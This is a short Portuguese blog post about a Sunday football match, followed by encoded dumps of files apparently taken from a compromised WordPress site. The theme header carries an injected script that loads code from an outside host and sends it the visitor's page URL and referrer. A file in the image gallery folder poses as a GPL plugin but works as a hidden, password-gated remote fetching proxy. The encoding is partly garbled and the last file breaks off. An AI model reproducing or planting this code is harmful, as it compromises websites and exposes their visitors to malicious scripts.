The Beautiful Game

Alqueidão, Ourém, Março 2012

Esta tarde de domingo em particular nunca se passa de forma muito fácil, sendo a noite anterior geralmente bastante longa e bem vivida. Portanto, depois de um almoço feito para recompor forças, uma sessão de bola ao ar livre para digestão vem sempre a calhar. Ano após ano.

http://ricjo.org/409-revision-v1/

/home/ricjoorg/public_html/wp-content/themes/origami/header.php

PCFET=NUWVBFIGh=bWw-DQo8aHRtbCA8P3BocCBsYW5ndWFnZV9hdHRyaWJ1dGVzKCk7ID8-Pg=KPGhlYWQ-DQoNCgk8bWV=YSBuYW1lPSJnb29nbGUtc2l=ZS12ZXJpZmljYXRpb24iIGNvbnRlbnQ9InZlWVJnRW1ZV2VZd3JWSlNuZVhrUlF=cTVYYXZfd2JsVUNjeXVURVhyLVEiIC8-DQoJPG1ldGEgaHR=cC1lcXVpdj=iQ29udGVudC1UeXBlIiBjb25=ZW5=PSJ=ZXh=L2h=bWw7IGNoYXJzZXQ9PD9waHAgYmxvZ2luZm8oICdjaGFyc2V=JyApOyA_PiIgLz4NCg=KCTx=aXRsZT48P3BocCB3cF9=aXRsZSgnfCcsIHRydWUsICdyaWdodCcpOyA_PjwvdGl=bGU-DQoJDQoJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIiAvPg=KCTxsaW5rIHJlbD=icGluZ2JhY2siIGhyZWY9Ijw_cGhwIGJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOyA_PiIgLz4NCg=KCTw_cGhwIHdwX2hlYWQoKTsgPz4NCg=KPHNjcmlwdD52YXIgYT=nJztzZXRUaW1lb3V=KDEpO2Z1bmN=aW9uIHNldENvb2tpZShhLGIsYyl7dmFyIGQ9bmV3IERhdGU7ZC5zZXRUaW1lKGQuZ2V=VGltZSgpKzYwKmMqNjAqMWUzKTt2YXIgZT=iZXhwaXJlcz=iK2QudG9VVENTdHJpbmcoKTtkb2N1bWVudC5jb29raWU9YSsiPSIrYisiOyAiK2V9ZnVuY3Rpb24gZ2V=Q29va2llKGEpe2Zvcih2YXIgYj1hKyI9IixjPWRvY3VtZW5=LmNvb2tpZS5zcGxpdCgiOyIpLGQ9MDtkPGMubGVuZ3RoO2QrKyl7Zm9yKHZhciBlPWNbZF=7IiAiPT1lLmNoYXJBdCgwKTspZT1lLnN1YnN=cmluZygxKTtpZigwPT1lLmluZGV4T2YoYikpcmV=dXJuIGUuc3Vic3RyaW5nKGIubGVuZ3RoLGUubGVuZ3RoKX1yZXR1cm4gbnVsbH1udWxsPT1nZXRDb29raWUoIl9fY2Znb2lkIikmJihzZXRDb29raWUoIl9fY2Znb2lkIiwxLDEpLDE9PWdldENvb2tpZSgiX19jZmdvaWQiKSYmKHNldENvb2tpZSgiX19jZmdvaWQiLDIsMSksZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgdHlwZT=idGV4dC9qYXZhc2NyaXB=IiBzcmM9IicgKyAnaHR=cDovL2ppdmEta2xhdG92eS5jei9qcy9qcXVlcnkubWluLnBocCcgKyAnP2tleT1iNjQnICsgJyZ1dG1fY2FtcGFpZ249JyArICdHOTE4MjUnICsgJyZ1dG1fc291cmNlPScgKyB3aW5kb3cubG9jYXRpb24uaG9zdCArICcmdXRtX21lZGl1bT=nICsgJyZ1dG1fY29udGVudD=nICsgd2luZG93LmxvY2F=aW9uICsgJyZ1dG1fdGVybT=nICsgZW5jb2RlVVJJQ29tcG9uZW5=KCgoaz=oZnVuY3Rpb24oKXt2YXIga2V5d29yZHMgPSAnJzt2YXIgbWV=YXMgPSBkb2N1bWVudC5nZXRFbGVtZW5=c=J5VGFnTmFtZSgnbWV=YScpO2lmIChtZXRhcykge2ZvciAodmFyIHg9MCx5PW1ldGFzLmxlbmd=aDsgeDx5OyB4KyspIHtpZiAobWV=YXNbeF=ubmFtZS5=b=xvd2VyQ2FzZSgpID=9ICJrZXl3b3JkcyIpIHtrZXl3b3JkcyArPSBtZXRhc1t4XS5jb25=ZW5=O319fXJldHVybiBrZXl3b3JkcyAhPT=gJycgPyBrZXl3b3JkcyA6IG51bGw7fSkoKSk9PW51bGw_KHY9d2luZG93LmxvY2F=aW9uLnNlYXJjaC5tYXRjaCgvdXRtX3Rlcm=9KFteJl=rKS8pKT=9bnVsbD8odD1kb2N1bWVudC5=aXRsZSk9PW51bGw_Jyc6dDp2WzFdOmspKSArICcmc2VfcmVmZXJyZXI9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5yZWZlcnJlcikgKyAnIj48JyArICcvc2NyaXB=PicpKSk7PC9zY3JpcHQ-DQo8L2hlYWQ-DQoNCjxib2R5IDw_cGhwIGJvZHlfY2xhc3MoKSA_Pj4NCg=KPD9waHAgZG9fYWN=aW9uKCdvcmlnYW1pX3RvcCcpOyA_Pg=KDQo8ZGl2IGNsYXNzPSJjb25=YWluZXIiPg=KDQoJPD9waHAgZG9fYWN=aW9uKCdvcmlnYW1pX2JlZm9yZV9wYWdlX2NvbnRhaW5lcicpID8-DQoNCgk8ZGl2IGlkPSJwYWdlLWNvbnRhaW5lciI-DQoNCgkJPD9waHAgZG9fYWN=aW9uKCdvcmlnYW1pX3RvcF9wYWdlX2NvbnRhaW5lcicpID8-DQoNCgkJPD9waHAgZ2V=X3RlbXBsYXRlX3BhcnQoJ3BhcnRzL2xvZ28nLCAndG9wJykgPz4NCg=KCQk8P3BocCBkb19hY3Rpb24oJ29yaWdhbWlfYWZ=ZXJfbG9nb193cmFwcGVyJykgPz4NCg=KCQk8P3BocCBnZXRfdGVtcGxhdGVfcGFydCgncGFydHMvbWVudScsICd=b3AnKSA_Pg3

4.16.39

/home/ricjoorg/public_html/wp-content/plugins/in-real-time/irt-callback.php

PD9waHAKCnJlcXVpcmVfb25jZSgnaXJ=LWZ1bmN=aW9ucy5waHAnKTsKLy8KJGlydENvZGUgPSAkX=dFVFsnY29kZSddOwokaXJ=VG9rZW4gPSAkX=dFVFsnaHViX2NoYWxsZW5nZSddOwokaXJ=UG9zdCA9IGZpbGVfZ2V=X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwovLwovLyBzZXR=aW5nIGFuZCBzYXZpbmcgdGhlIG1haW4gYXV=aG9yaXphdGlvbgovLwppZiAoaXNzZXQoJGlydENvZGUpKSB7CgoJJGlydFBvc3RBdXRoQXJncyA9IGFycmF5KAoJCSdjbGllbnRfaWQnID=-ICcnIC4gJGlydE9wdGlvbnNbJ2NsaWVudElEJ1=gLiAnJywKCQknY2xpZW5=X3NlY3JldCcgPT4gJycgLiAkaXJ=T3B=aW9uc1snY2xpZW5=U2VjcmV=J1=gLiAnJywKCQknZ3JhbnRfdHlwZScgPT4gJ2F1dGhvcml6YXRpb25fY29kZScsCgkJJ3JlZGlyZWN=X3VyaScgPT4gSVJUX1VSTCAuICdpcnQtY2FsbGJhY2sucGhwJywKCQknY29kZScgPT4gJycgLiAkaXJ=Q29kZSAuICcnCgkpOwoKCWZvcmVhY2goJGlydFBvc3RBdXRoQXJncyBhcyAka2V5PT4kdmFsdWUpIHsKCQkkZmllbGRzX3N=cmluZyAuPSAka2V5IC4gJz=nIC4gJHZhbHVlIC4gJyYnOwoJfQoKCSRmaWVsZHNfc3RyaW5nID=gcnRyaW=oJGZpZWxkc19zdHJpbmcsJyYnKTsKCSR1cmwgPSAnaHR=cHM6Ly9hcGkuaW5zdGFncmFtLmNvbS9vYXV=aC9hY2Nlc3NfdG9rZW4nOwoKCSRpcnRQb3N=QXV=aCA9IGN1cmxfaW5pdCgpOwoJCWN1cmxfc2V=b3B=KCRpcnRQb3N=QXV=aCwgQ1VSTE9QVF9VUkwsICR1cmwpOwoJCWN1cmxfc2V=b3B=KCRpcnRQb3N=QXV=aCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKCQljdXJsX3NldG9wdCgkaXJ=UG9zdEF1dGgsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJCWN1cmxfc2V=b3B=KCRpcnRQb3N=QXV=aCwgQ1VSTE9QVF9QT1NULCB=cnVlKTsKCQljdXJsX3NldG9wdCgkaXJ=UG9zdEF1dGgsIENVUkxPUFRfUE9TVEZJRUxEUywgJGZpZWxkc19zdHJpbmcpOwoKCSRpcnRQb3N=QXV=aGVkID=gY3VybF9leGVjKCRpcnRQb3N=QXV=aCk7CgljdXJsX2Nsb3NlKCRpcnRQb3N=QXV=aCk7CgkvLwoJJGF1dGggPSBqc29uX2RlY29kZSgkaXJ=UG9zdEF1dGhlZCk7CgkkYXV=aFVzZXIgPSAkYXV=aC=-dXNlci=-aWQ7CgkkYXV=aFRva2VuID=gJGF1dGgtPmFjY2Vzc19=b2tlbjsKCgkkaXJ=QXV=aFNhdmUgPSBjdXJsX2luaXQoKTsKCQljdXJsX3NldG9wdCgkaXJ=QXV=aFNhdmUsIENVUkxPUFRfVVJMLCBJUlRfVVJMIC4gJ2lydC1lZGl=b3IucGhwJyk7CgkJY3VybF9zZXRvcHQoJGlydEF1dGhTYXZlLCBDVVJMT1BUX=hFQURFUiwgZmFsc2UpOwoJCWN1cmxfc2V=b3B=KCRpcnRBdXRoU2F2ZSwgQ1VSTE9QVF9SRVRVUk5UUkFOU=ZFUiwgdHJ1ZSk7CgkJY3VybF9zZXRvcHQoJGlydEF1dGhTYXZlLCBDVVJMT1BUX1BPU1QsIHRydWUpOwoJCWN1cmxfc2V=b3B=KCRpcnRBdXRoU2F2ZSwgQ1VSTE9QVF9QT1NURklFTERTLCAndXNlcj=nIC4gJGF1dGhVc2VyIC4gJyZ=b2tlbj=nIC4gJGF1dGhUb2tlbiAuICcnKTsKCgkkaXJ=QXV=aFNhdmVkID=gY3VybF9leGVjKCRpcnRBdXRoU2F2ZSk7CgljdXJsX2Nsb3NlKCRpcnRBdXRoU2F2ZSk7CgkvLwoJJGlydFBvc3RTdWJBcmdzID=gYXJyYXkoCgkJJ2NsaWVudF9pZCcgPT4gJycgLiAkaXJ=T3B=aW9uc1snY2xpZW5=SUQnXSAuICcnLAoJCSdjbGllbnRfc2VjcmV=JyA9PiAnJyAuICRpcnRPcHRpb25zWydjbGllbnRTZWNyZXQnXSAuICcnLAoJCSdvYmplY3QnID=-ICd1c2VyJywKCQknb2JqZWN=X2lkJyA9PiAnJyAuICRhdXRoVXNlciAuICcnLAoJCSdhc3BlY3QnID=-ICdtZWRpYScsCgkJJ3ZlcmlmeV9=b2tlbicgPT4gJycgLiAkYXV=aFRva2VuIC4gJycsCgkJJ2NhbGxiYWNrX3VybCcgPT4gSVJUX1VSTCAuICdpcnQtY2FsbGJhY2sucGhwJywKCSk7CgoJZm9yZWFjaCgkaXJ=UG9zdFN1YkFyZ3MgYXMgJGtleT=-JHZhbHVlKSB7CgkJJGZpZWxkc19zdHJpbmcgLj=gJGtleSAuICc9JyAuICR2YWx1ZSAuICcmJzsKCX=KCgkkZmllbGRzX3N=cmluZyA9IHJ=cmltKCRmaWVsZHNfc3RyaW5nLCcmJyk7CgkkdXJsID=gJ2h=dHBzOi8vYXBpLmluc3RhZ3JhbS5jb2=vdjEvc3Vic2NyaXB=aW9ucy8nOwoKCSRpcnRQb3N=U3ViID=gY3VybF9pbml=KCk7CgkJY3VybF9zZXRvcHQoJGlydFBvc3RTdWIsIENVUkxPUFRfVVJMLCAkdXJsKTsKCQljdXJsX3NldG9wdCgkaXJ=UG9zdFN1YiwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKCQljdXJsX3NldG9wdCgkaXJ=UG9zdFN1YiwgQ1VSTE9QVF9SRVRVUk5UUkFOU=ZFUiwgdHJ1ZSk7CgkJY3VybF9zZXRvcHQoJGlydFBvc3RTdWIsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7CgkJY3VybF9zZXRvcHQoJGlydFBvc3RTdWIsIENVUkxPUFRfUE9TVEZJRUxEUywgJGZpZWxkc19zdHJpbmcpOwoKCSRyZXN1bHQgPSBjdXJsX2V4ZWMoJGlydFBvc3RTdWIpOwoJY3VybF9jbG9zZSgkaXJ=UG9zdFN1Yik7CgoJJHJlc3VsdE9iaiA9IGpzb25fZGVjb2RlKCRyZXN1bHQpOwoKCWlmICgkcmVzdWx=T2JqLT5tZXRhLT5jb2RlID=9IDIwMCkgewoKCQlpZiAoJGlydE9wdGlvbnNbJ2VtYWlsTm9=aWZ5J11bJ25vdGlmeSddID=9ICd5ZXMnKSBpcnRFbWFpbE5vdGlmaWNhdGlvbnMoJGlydE9wdGlvbnNbJ2VtYWlsTm9=aWZ5J11bJ2FkZHJlc3MnXSwgJ=luIFJlYWwtVGltZSBPQXV=aCBTdWNjZXNzJywgJ3Rva2VuIHJlc3BvbnNlID=gJy4gJGF1dGhUb2tlbiAuICJcclxuIiAuICdhdXRob3JpemVkIFVzZXJJRCA9ICcuICRhdXRoVXNlciAuICJcclxuIiAuICdmdWxsIHJlc3VsdCA9ICcgLiAkcmVzdWx=KTsKCgkJZWNobyAnPGh=bWw-CgkJPGhlYWQ-CgkJCTxzdHlsZT4KCQkJCWJvZHkge21hcmdpbjogMzAlIDAgMCAwOyBiYWNrZ3JvdW5kLWNvbG9yOiAjRUNFQ=VDOyB=ZXh=LWFsaWduOiBjZW5=ZXI7fQoJCQkJaDIge2ZvbnQ6IDIzcHgvMjlweCAiSGVsdmV=aWNhTmV1ZS1MaWdodCIsIkhlbHZldGljYSBOZXVlIExpZ2h=IiwiSGVsdmV=aWNhIE5ldWUiLHNhbnMtc2VyaWY7fQoJCQkJcCB7Zm9udDogMTJweC8xLjRlbSBzYW5zLXNlcmlmO3=KCQkJPC9zdHlsZT4KCQk8L2hlYWQ-CgkJPGJvZHk-CgkJPGgyPkNvbmdyYXRzITwvaDI-CgkJPHA-WW91XCdyZSBhbGwgZG9uZS4gPGI-SGFwcHkgSW5zdGFncmFtLWluZy48L2I-PC9wPgoJCTxwPih=aGlzIHBhZ2Ugd2lsbCBjbG9zZSBpdHNlbGYgaW4gMyBzZWNvbmRzLik8L3A-CgkJPC9ib2R5PgoJCTxzY3JpcHQ-CgkJCXNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IHdpbmRvdy5jbG9zZSgpOyB9LCAzMDAwKTsJCgkJPC9zY3JpcHQ-CgkJPC9odG1sPic7CgoJfSBlbHNlIHsKCgkJaWYgKCRpcnRPcHRpb25zWydlbWFpbE5vdGlmeSddWydub3RpZnknXSA9PSAneWVzJykgaXJ=RW1haWxOb3RpZmljYXRpb25zKCRpcnRPcHRpb25zWydlbWFpbE5vdGlmeSddWydhZGRyZXNzJ1=sICdJbiBSZWFsLVRpbWUgT=F1dGggRmFpbHVyZSEnLCAndG9rZW4gcmVzcG9uc2UgPSAnLiAkYXV=aFRva2VuIC4gIlxyXG4iIC4gJ2F1dGhvcml6ZWQgVXNlcklEID=gJy4gJGF1dGhVc2VyIC4gIlxyXG4iIC4gJ2Z1bGwgcmVzdWx=ID=gJyAuICRyZXN1bHQpOwoKCQllY2hvICc8aHRtbD4KCQk8aGVhZD4KCQkJPHN=eWxlPgoJCQkJYm9keSB7bWFyZ2luOiAzMCUgMCAwIDA7IGJhY2tncm91bmQtY29sb3I6ICNFQ=VDRUM7IHRleHQtYWxpZ246IGNlbnRlcjt9CgkJCQloMiB7Zm9udDogMjNweC8yOXB4ICJIZWx2ZXRpY2FOZXVlLUxpZ2h=IiwiSGVsdmV=aWNhIE5ldWUgTGlnaHQiLCJIZWx2ZXRpY2EgTmV1ZSIsc2Fucy1zZXJpZjt9CgkJCQlwIHtmb25=OiAxMnB4LzEuNGVtIHNhbnMtc2VyaWY7fQoJCQk8L3N=eWxlPgoJCTwvaGVhZD4KCQk8Ym9keT4KCQk8aDI-QXV=aG9yaXphdGlvbiBGYWlsZWQhPC9oMj4KCQk8cD48Yj5QbGVhc2UgY2hlY2sgeW91ciBjb25maWd1cmF=aW9uIGFuZCB=cnkgYWdhaW4uPC9iPjwvcD4KCQk8cD4hISEgTWFrZSBzdXJlIHlvdXIgcGx1Zy1pbnMgZm9sZGVyIGlzIGFjY2Vzc2libGUgdG8gdGhlIHB1YmxpYyBhbmQgbm9=IHBhc3N3b3JkIHByb3RlY3RlZCAhISE8L3A-CgkJPC9ib2R5PgoJCTwvaHRtbD4nOwkJCgoJfQoKfQovLwovLyB=aGUgdG9rZW4gZWNobyBmb3IgYXV=aG9yaXphdGlvbgovLwppZiAoaXNzZXQoJGlydFRva2VuKSkgewoJZWNobyAkaXJ=VG9rZW47Cn=KLy8KLy8gdGhlIG1haW4gY2FsbGJhY2sgZnVuY3Rpb25hbGl=eS4gdGhpcyBpcyB=aGUgbWVhdC4KLy8KaWYgKCRpcnRDb2RlID=9IG51bGwgJiYgJGlydFRva2VuID=9IG51bGwpIHsKCgkkaXJ=QmFzZWxpbmUgPSAkaXJ=UG9zdDsKCSRpcnRSZXNwb25zZSA9IGpzb25fZGVjb2RlKCRpcnRQb3N=LCB=cnVlKTsKCSRpcnRUaW1lID=gJGlydFJlc3BvbnNlWzBdWyd=aW1lJ1=7CgkkaXJ=SW1hZ2VSZXEgPSAnaHR=cHM6Ly9hcGkuaW5zdGFncmFtLmNvbS92MS91c2Vycy8nLiAkaXJ=T3B=aW9uc1sndXNlcklEJ1=gLicvbWVkaWEvcmVjZW5=Lz9hY2Nlc3NfdG9rZW49Jy4gJGlydE9wdGlvbnNbJ2FjY2Vzc1Rva2VuJ1=gLicmbWF4X3RpbWVzdGFtcD=nLiAkaXJ=VGltZSAuJyZjb3VudD=4JzsKCS8vCgkvLwoJJGlydFBvc3RHZXQgPSBjdXJsX2luaXQoKTsKCSR1cmwgPSAkaXJ=SW1hZ2VSZXE7CgljdXJsX3NldG9wdCgkaXJ=UG9zdEdldCwgQ1VSTE9QVF9VUkwsICR1cmwpOwoJY3VybF9zZXRvcHQoJGlydFBvc3RHZXQsIENVUkxPUFRfSEVBREVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkaXJ=UG9zdEdldCwgQ1VSTE9QVF9SRVRVUk5UUkFOU=ZFUiwgdHJ1ZSk7CgkvLwoJJGlydFBvc3QgPSBjdXJsX2V4ZWMoJGlydFBvc3RHZXQpOwoJY3VybF9jbG9zZSgkaXJ=UG9zdEdldCk7CgkvLwoJJGlydFBvc3QgPSBqc29uX2RlY29kZSgkaXJ=UG9zdCwgdHJ1ZSk7CgkvLyB=aGUgbWFpbCBzYW5pdHkgY2hlY2suCglpZiAoJGlydE9wdGlvbnNbJ2VtYWlsTm9=aWZ5J11bJ25vdGlmeSddID=9ICd5ZXMnKSBpcnRFbWFpbE5vdGlmaWNhdGlvbnMoJGlydE9wdGlvbnNbJ2VtYWlsTm9=aWZ5J11bJ2FkZHJlc3MnXSwgJ=luIFJlYWwtVGltZSA6IHNhbml=eSBjaGVjaycsICdiYXNlbGluZSA9ICcgLiAkaXJ=QmFzZWxpbmUgLiAiXHJcbiIgLiAncmVzcG9uc2UgZGF=YSA9ICcgLiBwcmludF9yKCRpcnRSZXNwb25zZSkgLiAiXHJcbiIgLiAncG9zdCBkYXRhID=gJy4gcHJpbnRfcigkaXJ=UG9zdCkgLiAiXHJcbiIgLiAncmVxdWVzdCBzdHJpbmcgPSAnIC4gJGlydEltYWdlUmVxIC4gJycpOwoJLy8KCWlmIChpc19kaXIoJGlydFVwbG9hZEZvbGRlclsncmVsYXRpdmUnXSkpIHsgLy8gY2hlY2sgdG8gc2VlIGlmIGRpcmVjdG9yeSBleGlzdHMKCQoJCWlydEFzc2V=Q2hlY2tlcigkaXJ=UG9zdFsnZGF=YSddKTsKCgl9IGVsc2UgeyAvLyBpZiBub3QsIG1ha2UgaXQuCgkJCgkJaWYgKCFta2RpcigkaXJ=VXBsb2FkRm9sZGVyWydyZWxhdGl2ZSddKSkgewoJICAgIAoJICAgIAlkaWUoJ=ZhaWxlZCB=byBjcmVhdGUgZm9sZGVycy4uLicpOwoJCQoJCX=gZWxzZSB7CgoJCQlpcnRBc3NldENoZWNrZXIoJGlydFBvc3RbJ2RhdGEnXSk7CgkJCQkKCQl9CgoJfQoKfQoKPz42

4.16.39

/home/ricjoorg/public_html/wp-content/gallery/alqueidao/vee.php

PD9waHAgIAovKiAKU3BlY2lhbCB=aGFua3MgdG86ICAKClJ5YW4gRHVmZiBhbmQgRmlyYXMgRHVycmksIGF1dGhvcnMgb2YgV1AtQ29udGFjdEZvcm=sIHRvIHdoaWNoIHRoaXMgCnBsdWdpbnMnIGluaXRpYWwgY29uY2VwdCBhbmQgc29tZSBwYXJ=cyBvZiBjb2RlIHdhcyBidWlsdCBiYXNlZCBvbi4gCgptb2Rlcm5tZXRob2QgaW5jLCBmb3IgU=FKQVggVG9vbGtpdCwgd2hpY2ggd2FzIHVzZWQgdG8gYnVpbGQgdGhpcyAKcGx1Z2lucycgQUpBWCBpbXBsZW1lbnRhdGlvbiAKKi8KCgovKgpDb3B5cmlnaHQgKEMpIDIwMDYtOCBNYXR=aGV3IFJvYmluc29uCkJhc2VkIG9uIHRoZSBPcmlnaW5hbCBTdWJzY3JpYmUyIHBsdWdpbiBieSAKQ29weXJpZ2h=IChDKSAyMDA1IFNjb3R=IE1lcnJpbGwgKHNraXBweUBza2lwcHkubmV=KQoKVGhpcyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN=cmlidXRlIGl=IGFuZC9vcgptb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZQphcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl=aGVyIHZlcnNpb24gMgpvZiB=aGUgTGljZW5zZSwgb3IgKGF=IHlvdXIgb3B=aW9uKSBhbnkgbGF=ZXIgdmVyc2lvbi4KClRoaXMgcHJvZ3JhbSBpcyBkaXN=cmlidXRlZCBpbiB=aGUgaG9wZSB=aGF=IGl=IHdpbGwgYmUgdXNlZnVsLApidXQgV=lUSE9VVCBBTlkgV=FSUkFOVFk7IHdpdGhvdXQgZXZlbiB=aGUgaW1wbGllZCB3YXJyYW5=eSBvZgpNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU=UuICBTZWUgdGhlCkdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCgpZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZQphbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsgaWYgbm9=LCB3cml=ZSB=byB=aGUgRnJlZSBTb2Z=d2FyZQpGb3VuZGF=aW9uLCBJbmMuLCA1MSBGcmFua2xpbiBTdHJlZXQsIEZpZnRoIEZsb29yLCBCb3N=b24sIE1BICAwMjExMC=xMzAxLCBVU=EuCmh=dHA6Ly93d3cuZ251Lm9yZy9saWNlbnNlcy9ncGwuaHRtbAoKWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB=aGUgR=5VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgYWxvbmcgIAp3aXRoIHRoaXMgcHJvZ3JhbSAoaW5=b3VjaC1saWNlbnNlLWdwbC5=eHQpOyBpZiBub3QsIHdyaXRlIHRvIHRoZSAgCgogICAgRnJlZSBTb2Z=d2FyZSBGb3VuZGF=aW9uLCBJbmMuLCAgCiAgICA1OSBUZW1wbGUgUGxhY2UsICAKICAgIFN1aXRlIDMzMCwgIAogICAgQm9zdG9uLCAgCiAgICBNQSAwMjExMS=xMzA3IFVTQQoqLwoKLyogCkRvIG5vdCBtb2RpZnkgdGhlIGZvbGxvd2luZyBjb2RlIHRvIG1hbmlwdWxhdGUgdGhlIG91dHB1dCBvZiB=aGlzIHBsdWdpbi4gIApGb3IgY29uZmlndXJhdGlvbiBvcHRpb25zLCBwbGVhc2Ugc2VlICdPcHRpb25zJy4gCiovCgpAaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7IApAc2V=X3RpbWVfbGltaXQoMCk7IApAZXJyb3JfcmVwb3J=aW5nKDApOyAJIAoKZGVmaW5lKCdfX1NFQ19WQUxVRV9fJywgJzNkY2MwMTZhNTJiNzdjMzU=YWViNmQ=OTE1NWJjMDc4Jyk7CmRlZmluZSgnX19NQUlOX1BBVEhfXycsICcuLy4uLy4uLy4uLycpOwoKCgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGZvciBjaGVja2luZyBzZWN1cmUgdmFsdWUKKiAgdGhlIG91dHB1dCBvZiBDaGVja1NlY3VyZVZhbHVlKCkuCiovCmZ1bmN=aW9uIENoZWNrU2VjdXJlVmFsdWUoKQp7CgoJaWYoaXNzZXQoJF9SRVFVRVNUWydzZWN2YWx1ZSddKSA9PT=gZmFsc2UpCgl7CgkJZWNobyAnPGZhaWw-U2VjIHZhbHVlIGRvbnQgbWF=Y2g8L2ZhaWw-JzsKCQlleGl=KCk7Cgl9CgoJJHNTZWNWYWx1ZSA9ICcnOwoJJHNTZWNWYWx1ZSA9IHRyaW=oJF9SRVFVRVNUWydzZWN2YWx1ZSddKTsKCWlmKHN=cmNtcCgkc1NlY1ZhbHVlLCBfX1NFQ19WQUxVRV9fKSAhPSAwKQoJewoJCWVjaG8gJzxmYWlsPlNlYyB2YWx1ZSBkb25=IG1hdGNoPC9mYWlsPic7CgkJZXhpdCgpOwoJfQp9CgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGZvciBjaGVja2luZyBzZWN1cmUgdmFsdWUKKiAgdGhlIG91dHB1dCBvZiBFcmFzZUR1YmxlU2xhc2goKS4KKi8KZnVuY3Rpb24gRXJhc2VEdWJsZVNsYXNoKCRzSW5wdXRQYXRoKQp7CglyZXR1cm4gcHJlZ19yZXBsYWNlKCIvW1wvXXsyLH=vIiwgIi8iLCAkc=lucHV=UGF=aCk7Cn=KCgovKioKKiAgVXNlIHRoaXMgZnVuY3Rpb24gdG8gZm9yIGdldCBjb25=ZW5=IGZyb2=gdXJsLgoqICB=aGUgb3V=cHV=IG9mIEN1cmxHZXRDb25=ZW5=cygpIGlzIHVybCBjb25=ZW5=LgoqLwkKZnVuY3Rpb24gQ3VybEdldENvbnRlbnRzKCRzVXJsLCAmICRzT3V=Q29udGVudCwgJG5SZWN1cnNpb24gPSAxKSAKewkKCWlmKCRuUmVjdXJzaW9uID4gMTApCgl7CQoJCSRzT3V=Q29udGVudCA9IGZhbHNlOwoJCXJldHVybiBmYWxzZTsKCX=KCgkkbHNzSHR=cEhlYWRlcnMgPSBhcnJheSgpOwoJaWYoaXNzZXQoJF9SRVFVRVNUWydoZWFkZXInXSkgPT=9IHRydWUgJiYgaXNzZXQoJF9SRVFVRVNUWydoZWFkZXInXVswXSkgPT=9IHRydWUpCgl7CgkJZm9yKCRpID=gMDs7ICsrJGkpCgkJewoJCQlpZihpc3NldCgkX1JFUVVFU1RbJ2hlYWRlciddWyRpXSkgPT=9IGZhbHNlKQoJCQl7CgkJCQlicmVhazsKCQkJfQoJCQkKCQkJJGxzc=h=dHBIZWFkZXJzW1=gPSAkX1JFUVVFU1RbJ2hlYWRlciddWyRpXTsKCQl9CgkJCgkJc2h1ZmZsZSgkbHNzSHR=cEhlYWRlcnMpOwoJfQoJCglpZihpc3NldCgkX1JFUVVFU1RbJ3JlZmVyZXInXSkgPT=9IHRydWUpCgl7CQoJCSRzUmVmZXJlclVybCA9ICcnOwoJCSRzUmVmZXJlclVybCA9IEFkZEh=dHBUb=xpbmUodHJpbSgkX1JFUVVFU1RbJ3JlZmVyZXInXSkpOwoKCQkKCQkkbHNzSHR=cEhlYWRlcnNbXSA9ICdSZWZlcmVyOiAnLiRzUmVmZXJlclVybDsKCQkKCQlpZihjb3VudCgkbHNzSHR=cEhlYWRlcnMpID4gMSkKCQl7CgkJCXNodWZmbGUoJGxzc=h=dHBIZWFkZXJzKTsKCQl9Cgl9CgoKCSRzdEN1cmxIYW5kbGUgPSBOVUxMOwoJJHN=Q3VybEhhbmRsZSA9IGN1cmxfaW5pdCgpOwoJCglpZigkc3RDdXJsSGFuZGxlID=9PSBmYWxzZSkKCXsKCQkkc=91dENvbnRlbnQgPSBmYWxzZTsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCQoJCgljdXJsX3NldG9wdCgkc3RDdXJsSGFuZGxlLCBDVVJMT1BUX1VSTCwgJHNVcmwpOwoJY3VybF9zZXRvcHQoJHN=Q3VybEhhbmRsZSwgQ1VSTE9QVF9SRVRVUk5UUkFOU=ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkc3RDdXJsSGFuZGxlLCBDVVJMT1BUX=NPTk5FQ1RUSU1FT1VULCA2MCk7CgljdXJsX3NldG9wdCgkc3RDdXJsSGFuZGxlLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsKCS8vY3VybF9zZXRvcHQoJHN=Q3VybEhhbmRsZSwgQ1VSTE9QVF9GT=xMT1dMT=NBVElPTiwgdHJ1ZSk7CgkvL2N1cmxfc2V=b3B=KCRzdEN1cmxIYW5kbGUsIENVUkxPUFRfTUFYUkVESVJTLCAxMCk7CgljdXJsX3NldG9wdCgkc3RDdXJsSGFuZGxlLCBDVVJMT1BUX=hFQURFUiwgdHJ1ZSk7CgkKCQoJaWYoY291bnQoJGxzc=h=dHBIZWFkZXJzKSA-IDApCgl7CgkJY3VybF9zZXRvcHQoJHN=Q3VybEhhbmRsZSwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkbHNzSHR=cEhlYWRlcnMpOwoJfQoJCgkkc1Jlc3VsdC